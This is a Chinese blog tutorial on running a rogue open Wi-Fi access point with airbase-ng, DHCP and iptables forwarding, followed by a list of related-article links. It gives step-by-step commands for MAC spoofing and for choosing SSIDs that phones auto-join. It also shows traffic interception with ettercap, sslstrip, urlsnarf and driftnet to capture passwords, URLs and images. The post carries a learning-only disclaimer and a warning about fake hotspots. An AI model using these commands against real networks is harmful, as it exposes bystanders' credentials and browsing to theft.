利用airbase-ng建立Soft AP,再利用一些常见工具进行嗅探,或对抓包进行分析是出现比较早的一种MITM攻击方法。网上有很多关于手动实现的文章,也有一些自动实现脚本。这些脚本通常分两类,一类是一步一步让用户输入接口、选项什么的,最后再运行,每一次启动都要重复输入很多数据,低效且不爽。第二类是自动运行的,但可选项比较少,不符合自己的使用习惯。所以,在学习过程中自己写了一个自动实现脚本。

建立Soft AP可使用airbase-ng和hostapd,其中前者需要网卡支持monitor模式,是比较常用的工具,但仅支持OPN和WEP的,不支持WPA加密,不挑网卡,常见的RTL8187L既可。第二个是hostapd,需要网卡支持AP模式,8187L就用不了了,rt3070可以使用,支持建立OPN/WEP/WPA各种SoftAP。本文介绍基于airbase-ng的实现,毕竟这是个轻量级且各种hack可选项较多的常用工具。

建立soft Ap并进行嗅探,主要有如下4步:

1.airbase-ng建立热点

2.dhcpd启动dhcp服务

3.iptables设置好转发规则,使接入Soft AP客户的数据可正常访问互联网

4.启动嗅探工具收集信息

结束后,还可以对抓取的包进行后续分析。当然,中间还可以进行DNS劫持,伪造页面进行钓鱼,不在本文讨论范围。下面分步说。

准备工作:

(1) 一台电力比较持久的笔记本电脑,可以直接安装kali linux,也可以在VMware中安装kali。

(2)一块8187L网卡,山寨的就可以,性价比高,做工没看出来比原装的差在哪儿,只要保证中间芯片是真的就行。(下面照片中是原装的)

(3)天线:感觉7dbi的全向天线高度正好,再大就不方便了,而且9dbi的信号并未增强多少,反而损耗更大。方向性天线也不错,7db方向性天线体积很小巧,据说明在聚焦方向上可达10dbi全向天线的作用距离,用于室内空间较狭长时合适。穿墙能力就不说了,钢筋混凝土墙两堵,基本就很难接收可用信号了。

实测7dbi全向天线信号强度(无遮挡):65米处,-85dbm,50米处约-75dbm,10米之内信号稳定在-35dbm左右。该值非常粗略,仅供参考。一般能够正常通信的下限是-90dbm,上网的话要求更高。当然,信号强度也和接收装置的天线有关,不过总体上说,8187L加上7dbi的两种天线基本够用了,覆盖一个公共场所不大室内空间没问题。

(4)笔记本有internet网接入,用于将Fake AP接收的信息转到internet上去,不多赘述。

(5)启动monitor模式,并伪造一下本机的网卡地址 [wlan1要根据interface下的具体名字来]

airmon-ng start wlan1
ifconfig wlan1 down
macchanger –r wlan1
ifconfig wlan1 up
ifconfig mon0 down
macchanger –r mon0
ifconfig mon0 up
 

失败执行:airmon-ng check kill

一、使用airbase-ng建立OPN的Soft AP

airbase-ng主要用于建立OPN的AP,也就是不需要密码的公开AP。WEP加密的已经很少见了,不支持WPA加密。这一步中,最关键的是AP的ssid,ssid决定了AP欺骗性,也就是被连接的可能性。现在手机、平板电脑的客户端会自动记录连接过的AP信息,保存在/data/misc/wifi/wpa_suppliant.conf中,每个热点保存四个信息:ssid、psk(密码)、key_mgmt(加密方式)、priority(优先级)。注意,其中不含网卡的硬件地址.所以,只需前三项对上,便可自动连接。

手机wifi功能打开时,会不断向外发送probe信息包,里面包含ssid。可用airodump-ng查看当前网络环境下有哪些被probe的ssid,供伪造ssid时参考。

选定名称后,便可使用airbase-ng建立Fake AP了:

airbase-ng $FAKE_AP_INTERFACE -e $FAKE_AP_ESSID -c
 

airbase-ng运行成功后,ifconfig查看,会多出一个at0接口。

root@mKL:~# ifconfig
at0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0

eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
inet addr:10.10.10.138 Bcast:10.10.10.255 Mask:255.255.255.0
 

二、使用dhcpd启动dhcp服务

客户端连接上SoftAP后,要给他们分配IP地址。这里有一条最关键,就是SoftAP的IP地址和Internet接口的IP地址不能在网一个段。比如,连接Internet网的网卡eth0,地址是10.10.10.138/24,则at0的地址后面不能设置为同一网段,这里设置为10.0.0.1/24。

首先建立dhcpd.conf,内容包含dhcp服务运行的设置参数,关键代码如下:

echo -n "[+]now creating dhcpd.conf..."
cat >$SESSION_PATH/dhcpd.conf<<-EOF
authoritative;
default-lease-time 6000;
max-lease-time 12000;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.30 10.0.0.60;
option routers 10.0.0.1;
option broadcast-address 10.0.0.255;
option subnet-mask 255.255.255.0;
option domain-name-servers 8.8.8.8;
allow unknown-clients;
}
EOF
echo "done"
 

这些选项的意义就不一一介绍了,比较重要的时option routers,网关的设置,后续at0的地址要设置为该网关地址。option domain-name-servers,设置DNS服务器地址,8.8.8.8是比较通用的值。

接下来然后需要将SoftAP的接口,也就是airbase-ng创建的at0设置为该网段的网关:

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
 

接着启动dhcp服务

dhcpd -d -f -cf $SESSION_PATH/dhcpd.conf at0
 

三、使用iptables设置转发

使用iptables设置转发,将用户连接SoftAP后的数据,转发到internet上,是非常关键的一步。网上各种版本很多,其实最简单的实现就一句指令:

iptables -t nat -A POSTROUTING --out-interface $FAKE_AP_INTERNET -j MASQUERADE    #$FAKE_AP_INTERNET是外网接口
 

注意,转发生效需要本机开启ip_forward功能。指令是:

echo "1" > /proc/sys/net/ipv4/ip_forward
 

由于后面运行ettercap时,会将该值再次变为0,所以等ettercap运行后再执行上述命令。

四、运行各种嗅探工具

SoftAP建立并运行dhcp服务后,客户端就可以根据我们设定的规则连接上热点并正常浏览网页,运行各个程序了。接下来,就是针对Soft AP的接口at0,执行各种嗅探:

ettercap -Tzq -i $FAKE_AP_AT_INTERFACE -w $SESSION_PATH/etter.pcap -L $SESSION_PATH/etter
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIP_PORT
sslstrip -pkf -l $SSLSTRIP_PORT -w $SESSION_PATH/sslstrip.log 2>/dev/null
urlsnarf -i $1 | grep http > $SESSION_PATH/url.txt
tail -f $SESSION_PATH/url.txt
driftnet -i $1 -d $SESSION_PATH/
 

以上就是实现基于Soft AP的MITM攻击的几个关键步骤。

这里提供一个自动执行脚本auto_opnAP.sh,最简单的执行命令是:

auto_opnAP.sh -e xxxx -sud -i mon0 -n eth0
 

运行界面如下图所示:

总体上看,现在大多数手机客户端在安全上都有考虑,用户名、密码以明文直接出现的不多,特别是大企业开发的工具,但还是有部分小企业的软件在这方面不太重视。同时,尽管客户端连接时对信息进行了加密,但用浏览器登录时,由于遵循http协议,部分情况下用户名和密码更容易泄漏。所以,在公共场所使用免费WiFi时,还是要甄别热点的真假,并尽量少进行关键操作。

声明:本文旨在讨论原理,提高安全意识,提供的脚本也仅供学习交流,本文所有测试均在自家局域网络测试,请勿非法使用。有好的修改建议,欢迎交流

利用airbase-ng建立Soft AP的更多相关文章

  1. Visual C++ 编程实现Soft AP (HostedNetwork / 承载网络) 功能

    从Windows 7开始,微软在操作系统中加入的Soft AP功能,使用户能够通过无线网卡,开启虚拟AP,从而实现网络共享.Soft AP又称HostedNetwork(承载网络),在Windows ...

  2. [Tool]利用Advanced Installer建立x86/x64在一起的安装程式

    原文 [Tool]利用Advanced Installer建立x86/x64在一起的安装程式 之前使用InstallShield做安装程式时,如果要将程式放在Program Files的话,需要分别针 ...

  3. 在Ubuntu中开启Soft AP功能

    在Ubuntu中开启Soft AP功能 1.查看采用的无线网卡是否支持Soft AP: 注意,可以看到有AP字样,表明支持.楼主比较背,在易迅上挑了个销量最高的netcore nw360,结果无法搭建 ...

  4. 用shell脚本实现linux系统上wifi模式(STA和soft AP)的转换

    转载请注明出处:http://blog.csdn.net/hellomxj1/ 功能:在linux系统上实现wifi STA与AP功能的转换 实现成果:1.加入wifipassword账户add_wi ...

  5. 利用NET HUNTER建立一个自动文件下载的网络接入点

    免责声明:本文旨在分享技术进行安全学习,禁止非法利用. 本文中我将完整的阐述如何通过建立一个非常邪恶的网络接入点来使得用户进行自动文件下载.整个过程中我将使用 Nexus 9 来运行Kali NetH ...

  6. iodine免费上网——本质就是利用dns tunnel建立tcp,然后tcp proxy来实现通过访问虚拟dns0网卡来访问你的dns 授权server

    我的命令: server端: sudo iodined -P passwd -f -DD 10.0.0.100 abc.com client端(直连模式,-r表示使用xxx.abc.com的xxx来转 ...

  7. 【原创】Capture CIS利用Access数据库建立封装库说明

    1.在服务器端建立新空间,方便封装库以及数据库的归档存放 服务器路径:\\192.168.1.234\Share\STG_LIB,文件夹内容如下,其中Datesheet存放物料数据手册,Pcb_Lib ...

  8. ubuntu建立软ap共享无线网络

    建立ad-hoc模式共享网络 viewtopic.php?f=116&t=387194 有些android手机可能不支持ad-hoc模式,要第三方rom才行. 首先安装这些工具 代码: apt ...

  9. 利用ARIMA算法建立短期预测模型

    周五福利日活动是电信为回馈老用户而做的活动,其主要回馈老用户的方式是让用户免费领取对应的优惠券,意在提升老用户的忠诚度和活跃度.今日,为保证仓库备货优惠券资源充足,特别是5元话费券等,需要对该类优惠券 ...

随机推荐

  1. 子集三种生成方法 java

    增量构造法 public class Main1 { static int A[] = new int[1 << 7]; static int da[] = new int[1<&l ...

  2. Redhat Linux5.4/5.5/5.8/6.0/6.3 ISO镜像文件下载

    版本有RedHat Enterprise Linux(RHEL)5.4/5.5/5.8/6.0/6.3 ISO镜像文件下载地址: RHEL 5.4 ISO下载http://rhel.ieesee.ne ...

  3. 九、JSP入门(1)

    JSP入门 1 JSP概述 1.1 什么是JSP JSP(Java Server Pages)是JavaWeb服务器端的动态资源.它与html页面的作用是相同的,显示数据和获取数据. 1.2 JSP的 ...

  4. linux --- Ansible-playbook篇

    Ansible-playbook简介 什么是playbook? 简单点说,playbook就是ansible用于配置,部署和管控节点机器的剧本,将一系列命令的集合归一使用,类似于shell脚本,不过更 ...

  5. PHP算法学习(2) 轮训加权算法

    2019年1月8日16:10:51 svn地址:svn://gitee.com/zxadmin/live_z    代码在code里面 <?php /* * 加权轮训算法 * * * $arr ...

  6. Jenkins调度Selenium脚本不能打开浏览器解决办法

    前提:在Myeclipse里面可以启动起来浏览器,在Jenkins中不能启动浏览器 原因:以程序的方式安装了jenkins,jenkins就成了windows的一个服务了,默认是设置为自动启动的如下图 ...

  7. linux CentOS 安装 nginx+tomcat+java+mysql运行环境

    本文介绍了CentOS7 64 Java,Tomcat,MySQL,Maven热部署等服务器环境的搭建过程. 服务器: 已经将所需要的工具(Xshell,Xftp.FileZilla等sftp上传工具 ...

  8. python learning day01

    python简介 一.python的由来: python的创始人是吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚 ...

  9. 2018-2019-2 《网络对抗技术》Exp0 Kali安装 Week1 20165317

    第一周作业 Kali的安装 Kali的下载 从kali官网下载kali-linux 64-bit 版本. Kali的安装 由于在娄老师的课上使用virtualbox, 所以我习惯性使用virtual ...

  10. mock server 实现get方法的接口(二)

    mock server 实现get方法的接口(二) 下面是实现查询品牌的接口demo: 1.当response数据量小的时候,可以直接使用json, mock会自动设置headers为applicat ...